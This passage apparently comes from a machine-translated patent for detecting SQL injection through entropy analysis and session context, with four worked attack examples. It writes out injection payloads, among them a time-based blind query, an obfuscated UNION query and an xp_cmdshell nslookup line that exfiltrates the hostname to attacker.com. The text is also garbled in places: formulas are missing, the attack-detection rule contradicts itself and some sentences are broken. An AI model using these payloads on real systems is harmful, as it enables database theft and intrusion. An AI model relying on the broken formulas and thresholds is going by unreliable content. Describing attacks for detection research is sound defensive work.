[0071] S9.2 Adaptive Session Threshold Adjustment The dynamic adjustment logic of the adaptive session threshold is as follows: if the variance of parameters within the session is greater than the preset threshold, the adaptive session threshold is increased by the preset ratio; if the request endpoint is on the low-risk whitelist, the adaptive session threshold is increased by the preset ratio; if the historical false alarm rate of the endpoint exceeds the preset threshold, the adaptive session threshold is increased by the preset ratio. Each preset ratio can be configured according to the actual scenario. The graded response strategy is divided into three intervals: mild, medium, and high risk according to the session risk classification. Mild risk implements key monitoring and mild rate limiting, medium risk implements secondary verification and session suspension, and high risk implements request blocking and temporary blacklisting of source IP / session. All response measures support observation period and manual review switch.
[0072] For example, setting an adaptive session threshold (Base score is 60 points, out of 100 points) This threshold is dynamically adjusted by addition based on the intra-session parameter variance, endpoint type, and historical false alarm rate. The upper limit after adjustment is no more than 80 points. The specific adjustment logic is as follows: If the variance of a parameter within a session is greater than the 75th percentile of its historical variance (e.g., for search box parameters, where historical variance is large), then Increase the score by 5 points, otherwise do nothing; If the requested endpoint is on a low-risk whitelist, then Increase the score by 8 points, otherwise do nothing; If the historical false alarm rate of this endpoint exceeds 5% Increase by 7 points, otherwise no action will be taken.
[0073] Right now ,in When all three are triggered simultaneously The score ensures that the graded response range remains valid within the range of 0-100.
[0074] S9.3 Attack Detection If the session risk score R ≥ If the session risk score R < 0, it is determined to be a session-level malicious attack, triggering a tiered response; if the session risk score R < 0, it is considered a session-level malicious attack. If the request is deemed benign, it is allowed to be forwarded to the backend application and used as a sample for online learning.
[0075] Step 10: Response and Mitigation Strategies Based on the range of the session risk score R, tiered response and mitigation operations are performed, supporting inline (online interception) mode and bypass (offline alarm) mode. At the same time, online learning is performed on benign requests that have been manually reviewed or automatically confirmed by the system to update the session dynamic context model and global baseline.
[0076] The tiered response strategy is as follows: For mild risk, key monitoring and mild rate limiting are implemented; for medium risk, secondary verification and session suspension are implemented; for high risk, request blocking and temporary blacklisting of the source IP / session are implemented. All response measures support an observation period and manual review switch. During the observation period, only recording is performed without blocking. After manual review confirms a misjudgment, the blacklist and restrictions can be lifted. The specific tiered strategy is as follows: (1) Mild risk Record session details (including request sequence and entropy spectrum data) and mark them as "key monitoring sessions"; perform more stringent feature extraction on subsequent requests (such as increasing the lexical unit recognition dimension); implement mild rate limiting (such as a maximum of 2 requests per second) to prevent the spread of attacks.
[0077] (2) If the risk is moderate ( ): Initiate two-factor authentication (such as CAPTCHA graphic authentication or mobile SMS authentication), and access can only continue after successful authentication; return ambiguous error messages (such as "the request parameters are abnormal, please try again"), without revealing the application's internal logic; pause the session for 3 minutes to limit the attack rhythm.
[0078] (3) High risk In Inline mode, the request is immediately blocked, an HTTP 403 Forbidden status code is returned, and the TCP connection is reset. In Bypass mode, a blocking command is sent to the firewall / load balancer, and the source IP or session ID is added to the temporary blacklist (default 1 hour). Audit logs are recorded (including the complete request chain, attack type, risk score, and response measures), and an alarm is reported through the SIEM (Security Information and Event Management) system to notify security operations personnel.
[0079] Simultaneously, online learning is performed on benign requests that have been manually reviewed or automatically confirmed by the system to update the session dynamic context model and the global baseline. The triggering condition for online learning is manual confirmation of benignity or the occurrence of concept drift in application behavior. The execution frequency is weekly updates to the entropy baseline and monthly offline training of the fusion function parameters, specifically including: (1) Parameter baseline update: Integrate the parameter value characteristics (type, length, value distribution) of benign requests into the historical profile of the corresponding parameters, and update statistical indicators such as mean, variance, and quantiles; (2) Entropy baseline update: update the static entropy value of benign requests ( , The mean, standard deviation, and static outlier distribution in the global baseline are updated based on the historical sample set of the global baseline (including peak_score and param_diff_score), and are recalculated weekly. With each weight This ensures the timeliness of thresholds and weights.
[0080] Step 11: Regularly perform offline batch training and concept drift adaptation, optimize risk assessment parameters, and automatically trigger baseline reset when a significant change in application behavior is detected.
[0081] For example, historical attack samples and benign samples are collected monthly and retrained using machine learning models (such as XGBoost, neural networks). Sigmoid mapping parameters ( The fusion function parameters of R and ( This optimizes the accuracy of risk assessment; at the same time, it detects conceptual drift in application behavior. When a significant change in application behavior is detected (such as a change in parameter type or the launch of a new endpoint), a baseline reset is automatically triggered. The historical baseline is rebuilt based on benign requests in the past 24 hours to avoid false alarms or missed alarms due to "concept drift".
[0082] This embodiment also provides a corresponding SQL injection detection device, as shown in Figure 2. It comprises 12 core functional modules, each loosely coupled with independent input / output interfaces, allowing for flexible combination according to deployment requirements: the pre-processing module (request capture, data normalization) is responsible for acquiring and standardizing request data; the intermediate module (session association, feature extraction, entropy analysis, threshold determination) is the core detection layer, enabling instantaneous and session-level detection; the post-processing module (semantic verification, fusion decision, response mitigation) is the decision execution layer, implementing attack judgment and handling; and the auxiliary module (log storage, learning update) is the optimization layer, implementing log auditing, model training, and baseline updates. This modular design ensures good maintainability and scalability; upgrades and modifications to a single module do not affect the normal operation of other modules. Specifically: Request Capture Module: Responsible for capturing all user requests flowing to the protected network application, synchronously recording request metadata, and outputting request content and associated request metadata; providing HTTP / HTTPS traffic access interfaces, supporting both inline and bypass deployment modes, capturing all requests flowing to the protected application; implementing TLS termination and plaintext acquisition logic, supporting TLS 1.2 / 1.3 protocols and mainstream encryption suites (such as TLS_AES_256_GCM_SHA384); Data Normalization Module: Responsible for performing end-to-end normalization processing on captured plaintext requests. The input is the plaintext request, and the output is the normalized request and a copy of the original request. It includes processing logic such as encoding and decoding, case unification, whitespace normalization, comment removal, and special character standardization. It provides a normalization rule configuration interface and supports user-defined processing logic for encoding types and comment formats. Session Association and Context Modeling Module: Responsible for using a multi-dimensional session identification strategy to classify requests after data normalization into the corresponding user sessions, and to build a dynamic context model for each session. The input is the normalized request and request metadata, and the output is the request and dynamic context model data associated with the session identifier. The multi-dimensional feature extraction module is responsible for extracting multi-dimensional feature vectors from each normalized request. The input consists of the request associated with the session identifier and dynamic context model data, and the output is a multi-dimensional feature vector. It has a built-in SQL lexical segmenter that supports the recognition of SQL keywords, operators, functions, and symbols, and can dynamically update the SQL lexical library. It implements extraction algorithms for lexical features, structural statistical features, and semantic / contextual features. It provides a feature configuration interface, supporting user-defined feature types (such as adding a "parameter value format matching degree" feature) and extraction rules. It also integrates with the session management engine to obtain contextual information such as historical parameter distribution and navigation paths for semantic / contextual feature calculation. Static entropy analysis module: responsible for calculating static entropy vector based on multi-dimensional feature vector, and then obtaining static anomaly score. The input is multi-dimensional feature vector and historical entropy baseline data, and the output is static entropy vector and static anomaly score. Real-time threshold determination module: It is responsible for identifying whether it is a high-risk real-time attack based on the comparison result between the static anomaly score and the real-time detection threshold. The input is the static anomaly score, and the output is the real-time attack determination result and alarm information. If it is not a high-risk real-time attack, the static entropy vector is synchronized to the time entropy spectrum generation and multi-scale analysis module. The Temporal Entropy Spectrum Generation and Multi-Scale Analysis Module is responsible for performing multi-scale time series analysis on the temporal entropy spectrum sequence of each session using a sliding window mechanism, and then calculating the temporal anomaly score. The input is the temporal entropy spectrum sequence of the session and the dynamic context model data, and the output is the temporal anomaly score. Semantic Consistency and State Verification Module: Responsible for using the dynamic context model to perform semantic consistency checks on the current request, further verifying the legality of the request. If semantic inconsistency or an invalid transfer path is found, the time anomaly score is increased and corrected. The inputs are the current request, dynamic context model data, and time anomaly score, and the output is the corrected time anomaly score. It also works in conjunction with the application permission system to obtain user login status and role permissions for permission matching verification. The Fusion Scoring and Adaptive Decision Module is responsible for calculating the session risk score by combining the static anomaly score, the corrected time anomaly score, and the context factor. Based on the comparison between the session risk score and the adaptive session threshold, it determines whether it is a session-level malicious attack or a benign request. The inputs are the static anomaly score, the corrected time anomaly score, and the context factor data. The output is the session risk score and the attack judgment result. The response and mitigation execution module is responsible for executing corresponding tiered response and mitigation operations based on the judgment results of the fusion scoring and adaptive decision-making module; implementing tiered response measures, including observation and logging, rate limiting, secondary verification, fuzzy error return, and request blocking; supporting inline and bypass modes for response execution: inline mode directly intercepts traffic, while bypass mode sends instructions to third-party devices (firewalls); maintaining a temporary blacklist, supporting the addition of source IPs and session IDs and automatic expiration (blacklist duration is configurable); and providing a response policy configuration interface to support user-defined response measures corresponding to risk levels. Log storage and monitoring module: responsible for storing all log data, including raw request logs, normalized request logs, and entropy analysis logs. It includes response logs and alarm logs; provides log retrieval and analysis functions, supporting log queries by session ID, source IP, time range, attack type, and other dimensions; enables monitoring of key indicators, including detection rate, false alarm rate, response latency, and request throughput, and generates a visual monitoring panel; supports log export and third-party integration, provides Syslog and API interfaces, and can be linked with SIEM systems; The learning and update module is responsible for performing online learning and baseline updates on benign requests, and periodically performing offline batch training and concept drift adaptation; it implements the online learning logic, automatically updating the parameter baseline and entropy baseline for benign requests; and it provides an offline batch training interface, supporting the import of historical samples and retraining the weights. With fusion function parameters ( It detects conceptual drift in application behavior and automatically triggers baseline reset when parameter distribution or the number of endpoints changes significantly; it supports switching between "learning mode" and "production mode": learning mode only records without blocking and is used for baseline construction when a new application is launched; production mode performs detection and response normally.
[0083] Verification Example 1: Detecting Time-Based Blind SQL Injection Attacks (1) Description of attack scenarios Attackers launched a time-based blind SQL injection attack targeting the "product search" function of an e-commerce platform (request URL: https: / / example.com / search?query=shoes), aiming to steal sensitive information such as the database version number and administrator username. The attack was carried out through 10 consecutive requests. Each request only modified characters in the SQL conditions (such as the version number and the first character of the username) and injected a pg_sleep(5) delay command. The server response time was used to infer whether the conditions were met. The key request sequence is as follows: Request 1: query=shoes' AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1) ='5') THEN pg_sleep(5) ELSE 0 END)-- Request 3: query=shoes' AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1) ='8') THEN pg_sleep(5) ELSE 0 END)-- Request 7: query=shoes' AND (SELECT CASE WHEN (SUBSTRING(username,1,1) ='A') THEN pg_sleep(5) ELSE 0 END FROM admin)-- Request 10: query=shoes' AND (SELECT CASE WHEN (SUBSTRING(username,1,1) ='R') THEN pg_sleep(5) ELSE 0 END FROM admin)-- (2) In-depth analysis of existing technology failure Signature-based WAF: All requests do not contain known malicious signatures such as "UNION SELECT" or "DROP TABLE", and pg_sleep(5) is not included in the signature database, so the requests are judged to be benign; Stateless anomaly detection: The single-request character-level entropy value is stable at 2.1-2.3 (normal search request entropy value is 1.8-2.5), which does not exceed the threshold and cannot identify anomalies; Simple entropy detection: It only calculates the global character entropy, ignores semantic changes within parameters (such as appending SQL conditions after "shoes"), and has no time dimension analysis, so it cannot discover the attack pattern of "character-by-character enumeration".
[0084] (3) Detection process of the present invention a) Request capture and data normalization: Capture all 10 sets of user requests and record request metadata synchronously; perform URL decoding (without encoding obfuscation), uniform lowercase conversion (e.g., keep pg_sleep in lowercase), and remove SQL comment characters (--does not affect the core payload, retains complete conditional statements) to ensure uniform payload format.
[0085] b) Session Association and Context Modeling: By using SESSION_ID=abc123 in the client cookie, 10 groups of requests are associated with the same user session, and a dynamic context model is constructed: the baseline characteristics of the query parameter are recorded: in normal scenarios, it is a "product name string" (3-20 characters long, no special symbols); the user navigation path is generated: homepage → product list → search, confirming that the request conforms to the path logic, but the parameter content needs further verification.
[0086] c) Multidimensional Feature Extraction: For each request's query parameters, segmentation is performed to extract key features: Lexical features identify SQL lexical units such as AND (logical operator), SELECT (SQL keyword), CASE (conditional statement), and pg_sleep (database function); Structural statistical features show that the special character ' (single quote) appears once and "(" (left parenthesis) appears four times; the character type percentages are: letters 65%, symbols 25%, and numbers 10% (normal request symbol percentage < 5%). Semantic context features show a decrease in parameter historical distribution matching degree and a decrease in permission matching degree, marked as "parameter evolution anomaly" and "permission inconsistency".
[0087] d) Static entropy analysis: Calculate the static entropy vector for each group of requests. The character-level Shannon entropy did not exceed the threshold, but the lexical entropy, the change in local sliding window entropy within the field, and the cross-parameter entropy difference were all significantly higher than the baseline. The static anomaly score was calculated to be 65 (out of 100, critical threshold 70), and no immediate blocking was triggered.
[0088] e) Immediate threshold determination: The immediate detection threshold is calculated as 70 points based on the 99.5th percentile of the static anomaly distribution in the global baseline of the platform (there are enough historical benign samples, more than 100, so the default value of 80 points is not used). If the static anomaly score is 65 < 70, it is determined as "non-high-risk immediate attack". The static entropy vector is appended to the temporal entropy spectrum sequence of the session and entered into multi-scale time series analysis.
[0089] f) Time entropy spectrum generation and multi-scale analysis module: Short-term oscillation detection indicates the presence of short-term oscillation anomalies, scoring 35 points; Medium-term trend displacement detection indicates a medium-term baseline drift anomaly, scoring 30 points; Long-term periodicity detection indicates a long-term periodic anomaly, scoring 20 points; The weighted sum of time anomaly scores is 85 points.
[0090] g) Semantic consistency verification module: Parameter evolution tracking shows that the query parameter changes from "shoes" to "shoes' + SQL condition", indicating a semantic inconsistency in data type; state transition verification shows that the database operation associated with the parameter exceeds the normal permission range of the "product search" function, marking semantic anomalies and correcting time anomalies.
[0091] h) Fusion scoring and adaptive decision engine: Context factor calculation: Endpoint / search involves database queries that are high-risk (10 points), source IPs are marked as suspicious after multiple probes (5 points), historical false alarm rate <5% (0 points), context factor Division; fusion computing is The adaptive threshold is dynamically adjusted to 60 based on the first 3 normal requests. A fusion score of 75.0 ≥ 60 + 15 = 75 indicates a high-risk range. ; Trigger a high-risk response after the 8th group of requests - block the request and return HTTP 403, add the source IP and session ID to the temporary blacklist (1 hour), and record the attack event (type: time-based blind injection, parameters involved: query, malicious lexical unit: pg_sleep).
[0092] (4) Verification of detection effect Detection timeliness: Identification was completed after the attacker initiated 8 sets of requests (approximately 80 seconds), without revealing the complete version number (only the version number starting with '8' was detected) or the username (only the first character starting with 'R' was detected); False alarm rate: No normal user sessions were falsely identified (due to the lack of a step-like increase in the temporal entropy spectrum and response time delay in normal sessions).
[0093] Verification Example 2: Detecting Polymorphic Obfuscated SQL Injection Attacks (1) Description of attack scenarios Attackers used automated tools to generate polymorphic obfuscated payloads, injecting malicious code into the e-commerce "order query" function (request URL: https: / / example.com / order?order_id=123) with the goal of stealing order table data. The obfuscated payload combined three evasion techniques: URL encoding, SQL comments, and mixed case. The specific request is as follows: order_id=123%20UNI / ** / ON%20SeLeCt%201,concat(order_no,0x3a,user_id),3%20FrOm%20orders-- Where %20 represents a URL-encoded space, / ** / represents a multi-line SQL comment, SeLeCt / FrOm represents mixed-case SQL keywords, and 0x3a represents a hexadecimal colon (used for concatenating fields). The decoded complete payload is: order_id=123 UNI / ** / ON SeLeCt 1,concat(order_no,:,user_id),3 FrOmorders-- (2) In-depth analysis of existing technology failure Signature-based WAF: Traditional WAFs rely on fixed malicious signatures such as "UNION SELECT" and "FROM table_name". Attackers can split "UNION" into "UNI / ** / ON" and change "SELECT / FROM" to "SeLeCt / FrOm". Comments and mixed uppercase and lowercase letters directly break the signature matching rules. The WAF judges the request as "normal numbers + ordinary characters" and allows it to pass directly. Simple character entropy detection technology: The character-level entropy of the attack request is calculated to be 3.0, which exceeds the normal order_id entropy baseline (1.0-1.5). However, this technology has no semantic analysis capability and is prone to misjudging high-entropy malicious payloads as benign high-entropy inputs such as "Base64 encoded or compressed data", thus failing to block them. Anomaly detection without semantic verification: It can only identify the surface anomaly of the order_id parameter length increasing from the normal 6 digits to 58 digits, but cannot analyze the SQL lexical units within the parameter, and cannot distinguish between "obfuscated attack payloads" and "complex inputs from normal business", ultimately leading to missed detections; Detection solutions without standardized processing: URL encoding and special characters are not decoded and standardized, making it impossible to restore the hidden malicious core payload and losing detection capability at the source.
[0094] (3) Detection process of the present invention (detailed explanation of all modules) a) Request capture and end-to-end data normalization The request capture module captures the HTTP request in Inline deployment mode, synchronously recording request metadata (source IP, SESSION_ID, request timestamp, User-Agent, etc.), and performs TLS decryption on the encrypted traffic to obtain the plaintext request; the data normalization module performs a six-step normalization process on the plaintext request to completely restore the malicious payload and eliminate all obfuscation and evasion effects. URL encoding / decoding: Convert %20 to a space to get order_id=123 UNI / ** / ON SeLeCt 1,concat(order_no,0x3a,user_id),3 FrOm orders--; SQL comment removal: Remove multi-line comments for / ** / , resulting in order_id=123 UNION SeLeCt 1,concat(order_no,0x3a,user_id),3 FrOm orders--; Case consistent: Convert all SQL keywords and functions to lowercase, resulting in: order_id=123 unionselect 1,concat(order_no,0x3a,user_id),3 from orders--; Special character standardization: Convert hexadecimal 0x3a to ASCII colon:, resulting in order_id=123union select 1,concat(order_no,:,user_id),3 from orders--; Whitespace character normalization: Replaces consecutive spaces with a single space to maintain the integrity of the load structure; Multiple encoding flag: The decoding level of this request is 1, and the "multiple encoding warning flag" has not been triggered.
[0095] After standardization, a copy of the original request is retained for auditing, and the standardized payload is passed to subsequent modules for feature extraction and analysis.
[0096] b) Session association and dynamic context modeling The session association and context modeling module associates the request with the corresponding user session using JWT_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 in the request, and builds and updates a dynamic context model based on historical request data, providing a benchmark for subsequent anomaly detection. User permission baseline: Confirm that the user is a regular consumer (permission level 1), only allowed to query their own order data, and has no permission to access the full orders table; Parameter profile baseline: order_id is the order number parameter, historical features are pure numbers, length 3-8 digits, no special characters or letters, and entropy baseline 1.0-1.5; Navigation state machine: The user's current navigation path is "Personal Center → My Orders → Order Inquiry". The endpoint / order is a high-risk business endpoint that involves access to sensitive user data. Historical entropy baseline: The average character-level entropy and lexical-level entropy of the order_id parameter in this session are 1.2 and 1.1, respectively, and the 95th percentile is no more than 1.5.
[0097] c) Multidimensional feature extraction The multi-dimensional feature extraction module performs SQL lexical segmentation and multi-dimensional feature extraction on the normalized order_id parameter to identify core malicious features. The specific extraction results are as follows: Lexical features: The system identified malicious SQL lexical units such as union (join query keyword), select (SQL query keyword), concat (string concatenation function), from (table reference keyword), and orders (sensitive database table name), with each type of lexical unit accounting for 85% of the total. Structural statistical characteristics: The parameter length increased from the normal 6 characters to 58 characters, the special characters ( / ) appeared 5 times, the proportion of numbers decreased from 100% to 5%, and the proportion of letters reached 90%, completely deviating from the historical structural characteristics of the parameters; Semantic / contextual features: Parameter historical distribution matching degree: 0% (completely inconsistent with the historical characteristics of order_id being a pure number), marked as a serious parameter evolution anomaly; Endpoint labels: / order is a high-risk business endpoint, while non-static resource endpoints are low-risk endpoints; Permission matching rate: 0% (a regular user attempted to access the entire orders table, exceeding their permission scope), marked as a serious permission mismatch.
[0098] d) Static entropy analysis (real-time detection layer) The static entropy analysis module calculates a four-dimensional static entropy vector based on the extracted multi-dimensional feature vectors, and then calculates the static anomaly score using a weighted normalization method (weight configuration: w1=0.2, w2=0.4, w3=0.2, w4=0.2, full score 100). The specific results are shown in the table below:
[0099] All entropy metrics far exceeded historical baselines, with lexical entropy and cross-parameter entropy differences showing an order-of-magnitude surge. The core reason is that the parameters contain a large number of SQL lexical units with obvious malicious semantic features. The final static anomaly score was 89, far exceeding the immediate detection threshold (70).
[0100] e) Instant threshold determination The instant threshold determination module compares the static anomaly score of 89 with the preset instant detection threshold of 70, which satisfies the condition. If it is directly identified as a high-risk, immediate attack, an immediate response mechanism is triggered, and the static entropy vector is appended to the session time entropy spectrum sequence for subsequent auditing and statistical analysis.
[0101] f) Semantic consistency and state verification The semantic consistency and state verification module, based on a dynamic context model, performs dual verification on the request to further confirm the attack attributes and provide a basis for response measures. Parameter evolution tracking: The order_id parameter has mutated from "pure numeric" to "a string containing a large number of SQL keywords, functions and special characters". The data type, length and value distribution have all changed fundamentally, which is marked as a serious semantic inconsistency; Status / Permission Transfer Verification: The normal business semantics of the request endpoint / order is "to accurately query a single order data by order number", but the payload contains a union select query and a from orders full table query statement, which clearly shows an intent to steal all data without authorization. Moreover, ordinary users do not have the permission to access the full orders table, so it is marked as a serious illegal permission transfer.
[0102] The verification result is "double severe anomaly", which does not require correction of the time anomaly score and directly supports the decision to immediately block the process.
[0103] g) Integrating scoring and adaptive decision engine Because the static anomaly score of 89 points far exceeds the real-time detection threshold, the system skips session-level temporal entropy spectrum analysis and directly executes a high-risk real-time response strategy, while simultaneously updating the adaptive detection benchmark. Immediate response decision: If the attack is determined to be high-risk and immediate, request blocking will be implemented in Inline mode; Adaptive threshold update: For the order_id parameter, the lexical entropy threshold is lowered from 1.8 to 1.5, while the static anomaly score threshold remains unchanged at 70 points, enhancing the sensitivity to subsequent similar obfuscation attacks; Feature database update: The obfuscation modes of this attack (UNI / ** / ON, mixed case SeLeCt) have been added to the malicious feature database to support subsequent signature-assisted detection.
[0104] h) Graded Response and Mitigation Implementation Based on the high-risk assessment, the response and mitigation module executes the highest-level response measures, while simultaneously logging and sending alerts. Request blocking: Immediately return an HTTP 403 Forbidden status code, reset the TCP connection, and deny the request to access the backend application; Temporary blacklist storage: Add the user's source IP and SESSION_ID to the temporary blacklist, valid for 1 hour, to prevent them from launching a secondary attack immediately; Log recording: Fully records the details of the attack event, including the original request, normalized malicious payload, static entropy vector, static anomaly score, attack type (polymorphic obfuscated UNION injection), and sensitive table names (orders) involved. The logs are saved locally and synchronized to the distributed logging system. Alarm push: Real-time alarms are pushed to security operations personnel through the SIEM system, including key information such as attack time, source IP, request endpoint, and attack type, to facilitate rapid source tracing and handling.
[0105] (4) Verification of detection effect Effectiveness of evasion techniques: The data normalization module successfully cracked three evasion techniques: URL encoding, SQL comments, and mixed case, 100% restoring the malicious core payload and eliminating all obfuscation effects; Real-time detection: The entire process of a single request takes only 12ms (including capture, normalization, feature extraction, and static entropy analysis), which is far below the 20ms threshold for enterprise-level real-time protection, with no business delay; Detection accuracy: Accurately identified as a polymorphic obfuscation-type SQL injection attack, with no missed detections; the lexical entropy of normal order query requests was all <1.2, with no false positives and a false alarm rate of 0. Defense effectiveness: The attack payload was blocked before it reached the backend database, preventing any sensitive data leakage and effectively protecting the security of the order table data.
[0106] Verification Example 3: Detecting Fragmented SQL Injection Attacks (1) Description of attack scenarios Attackers launched a fragmented SQL injection attack targeting the user information query function of a financial platform (request URL: https: / / example.com / user?uid=9527). The malicious SQL payload was split into three consecutive requests within the same session. The attack was achieved by exploiting the application's parameter concatenation logic. Individual requests showed no obvious malicious characteristics. The specific request sequence is as follows: Request 1: uid=9527' OR 1= Request 2: uid=95271 AND (SELECT 1 FROM user_info WHERE user_id=1)# Request 3: uid=9527 OR 1=1-- The application backend will concatenate consecutive UID parameter values from the same session to form a complete malicious payload: 9527' OR 1=1 AND (SELECT 1 FROM user_info WHERE user_id=1)# OR 1=1--, which enables unauthorized querying of administrator information.
[0107] (2) In-depth analysis of existing technology failure Signature-based WAF: Individual requests do not have a complete malicious signature. The concatenated payload is generated in the application backend. The detection node cannot identify the fragmentation characteristics and directly allows all requests to pass. Stateless anomaly detection: The character entropy and lexical entropy of a single request are both within the normal range (e.g., the entropy value of request 1 is 1.9, which is consistent with the normal uid parameter baseline of 1.5-2.2), and no parameter concatenation anomalies across requests can be detected; Simple session detection: It only records the request sequence, does not analyze the evolution trend of parameter values and splicing logic, and cannot identify the collaborative characteristics of shard injection.
[0108] (3) Detection process of the present invention a) Request capture and data normalization Capture full data from 3 requests, synchronously record metadata such as source IP and SESSION_ID=xyz789; perform normalization processing on request parameters: unify lowercase, remove whitespace characters, retain original parameter values and concatenation identifiers, no encoding confusion was found, and directly output normalized parameters uid=9527' OR 1=, uid=95271 AND (SELECT 1 FROM user_info WHERE user_id=1)#, uid=9527 OR 1=1--.
[0109] b) Session association and context modeling By associating three requests with the same user session using SESSION_ID=xyz789, a dynamic context model is constructed: Baseline characteristics of the uid parameter are recorded: pure numeric or numeric + short characters, fixed length 4-6 characters, without SQL operators (OR / AND), parentheses, comment characters, etc.; A navigation state machine is generated: User → Login → Personal Center → User Information Query, all request endpoints are / user, the path is valid but the parameter value shows evolution anomalies; Parameter profiles are updated in real time: After request 1, the uid parameter first appears with a single quote + OR, marked as "parameter feature anomaly initially appearing"; After request 2, AND / SELECT / parentheses are added, updating the parameter profile to "containing SQL lexical units".
[0110] c) Multidimensional feature extraction Features were extracted sequentially from the uid parameter of the three requests, and the core anomalies are as follows: Lexical features: Request 1 identifies OR (logical operator) and ' (single quote); Request 2 identifies AND / SELECT / FROM (SQL keywords) and () (parentheses); Request 3 identifies OR / -- (comment symbol). The complete SQL lexical system gradually emerges from the three requests. Structural statistical characteristics: The length of the uid parameter increased from 8 characters in request 1 to 12 characters in request 3; the proportion of special characters increased from 12.5% to 33.3%; and the proportion of numbers decreased from 87.5% to 66.7%, showing a significant abnormal evolution. Semantic / contextual features: The historical distribution of parameters shows a decrease in matching degree from 70% in request 1 to 20% in request 3, and the permission matching degree is 0 (ordinary user requests include queries to the sensitive user_info table).
[0111] d) Static entropy analysis The static exception scores for the three requests were calculated sequentially, and the results are as follows:
[0112] Since the static anomaly score of a single request did not reach the immediate detection threshold, the static entropy vectors of the three requests were appended to the session time entropy spectrum sequence for multi-scale time series analysis.
[0113] e) Generation of temporal entropy spectra and multiscale analysis Set the sliding window size to 3 requests (covering all fragment requests) and perform multi-scale analysis: Short-term oscillation detection: The lexical entropy sequence is [2.5, 4.2, 3.8], with a mean of 3.5, a standard deviation of 0.85, and a coefficient of variation of 0.24, which is greater than the preset threshold of 0.2. Further examination of the peak_score sequence [0.4, 0.8, 0.7] is performed. The average peak score of the previous request is 0.7, which is higher than the average peak score of the previous request of 0.4. The peak score shows an increasing trend. Both conditions are met, so it is judged as a short-term oscillation anomaly, and the score is 30 (out of 40). Mid-term trend displacement detection: The character-level Shannon entropy sequence is [2.0, 2.3, 2.1], the slope of the exponentially weighted linear regression is k = 0.05 > 0, and the baseline displacement is... >A preset threshold of 0.5 indicates an abnormal mid-term baseline drift, with a score of 25 (out of 35). Long-term periodicity detection: After Fourier transform, the energy percentage of the main frequency component of the static abnormal sequence [35,58,52] is 0.55 > the preset threshold of 0.5, which is judged as a long-term periodicity anomaly, and the score is 20 (out of 25). Time anomaly score calculation: .
[0114] f) Semantic consistency and state verification Parameter Evolution Tracking: The uid parameter has undergone fundamental changes in data type, value distribution, and structural characteristics, from "purely numeric" to "containing single quotes + OR" to "containing complete SQL lexical units" to "containing malicious logical expressions," marking it as a serious semantic inconsistency; data type mutation (+10 points) and length exceeding the historical range (+10 points) have resulted in a total correction of +20 points. State transition verification: Although the request endpoints are all / user, the semantics of the concatenated parameters are "unauthorized query to sensitive table", which exceeds the normal business semantics of the / user endpoint and is marked as an illegal semantic transition; Time anomaly correction: +10 points for data type mutation and +10 points for length exceeding historical range, correction amount ΔS = 20 points (capped at 30 points). .
[0115] g) Fusion of scoring and adaptive decision-making Context factor calculation: Source IP is a suspicious IP (5 points), endpoint is high-risk (10 points), historical false alarm rate <5% (0 points), context factor point; Session risk score calculation: The static anomaly score of 52 points is taken from the 3rd request (the most recent request that triggered the judgment). ; Adaptive session threshold: base value 60 points, increased by 5 points due to large variance in parameters within the session, endpoint not on the whitelist (no increase), and historical false alarm rate <5% (no increase). The session risk score is 73.8, which is greater than 65, indicating a session-level malicious attack.
[0116] h) Graded Response and Mitigation The conversation risk score of 73.8 falls within the moderate risk range. The system triggers a medium-risk response strategy: it initiates a two-factor authentication (CAPTCHA) graphical verification, returns a vague error message "Request parameters are abnormal, please retry", and pauses the session for 3 minutes to limit the attack pace; since the two-factor authentication fails (the attacker cannot complete the human verification), the system upgrades the risk level to high risk, executes request blocking (returns HTTP 403), adds the source IP and SESSION_ID to the temporary blacklist (1 hour); records the complete attack chain (3 fragmented requests + parameter concatenation logic), reports the alert through the SIEM system, and marks the attack type as fragmented SQL injection.
[0117] (4) Verification of detection effect Detection timeliness: The attack was blocked when the attacker made the third request, and the sensitive information was not retrieved. Accuracy: Precisely identifies cross-request collaboration features in shard injection, with no false positives for normal sessions; Anti-avoidance: Even if the load is split into more requests, the oscillations and trend anomalies of the time entropy spectrum can still be identified and cannot be avoided.
[0118] Verification Example 4: Detecting Out-of-Band (OOB) SQL Injection Attacks (1) Description of attack scenarios An attacker launched an out-of-band SQL injection attack targeting the product review function of an e-commerce platform (request URL: https: / / example.com / comment?content=good). Exploiting external database access, the attacker sent sensitive data to the attacker-controlled domain attacher.com. The specific request was as follows: content=good' AND (SELECT EXEC master..xp_cmdshell 'nslookup %COMPUTERNAME%.attacker.com')-- Attackers obtained the server hostname by listening to the DNS resolution logs of attacker.com, and then carried out subsequent lateral movement. Individual requests did not show obvious data leakage characteristics, and information was only transmitted through out-of-band channels.
[0119] (2) In-depth analysis of existing technology failure Signature-based WAF: It does not include out-of-band attack signatures related to xp_cmdshell / nslookup, so it directly allows requests to pass; Stateless entropy detection: The character-level entropy is 2.4, which is within the normal comment content baseline range of 1.8-2.8, making it impossible to identify malicious functions; Standard session detection: It only analyzes parameter evolution, does not associate it with external domain name access characteristics, and cannot detect out-of-band channel behavior.
[0120] (3) Detection process of the present invention a) Request capture and data normalization After capturing the request, perform normalization processing: remove SQL comments, unify lowercase, restore the payload to content=good' and (select exec master..xp_cmdshell 'nslookup %computername%.attacker.com'), identify the external domain attacher.com, and mark it as an out-of-band channel identifier.
[0121] b) Session association and context modeling After linking the session, it was found that this was the user's first time accessing the comment function. The baseline of the content parameter was "product review string", without any special characters, database functions, or external domain names. The dynamic context model marked this request as "first abnormal request".
[0122] c) Multidimensional feature extraction Lexical features: Identify AND / SELECT / EXEC (SQL keywords), xp_cmdshell (high-risk database functions), and nslookup (system command); Structural statistical characteristics: The length of the content parameter has increased from the normal 2-20 characters to 68 characters, and special characters account for 29%, including malicious symbols such as ' / () / ". Semantic / Contextual Features: The parameters include the external controllable domain attacher.com, which poses a risk of out-of-band data transmission, and the permission matching degree is 0 (the comment function does not have the permission to execute system commands or access external domains).
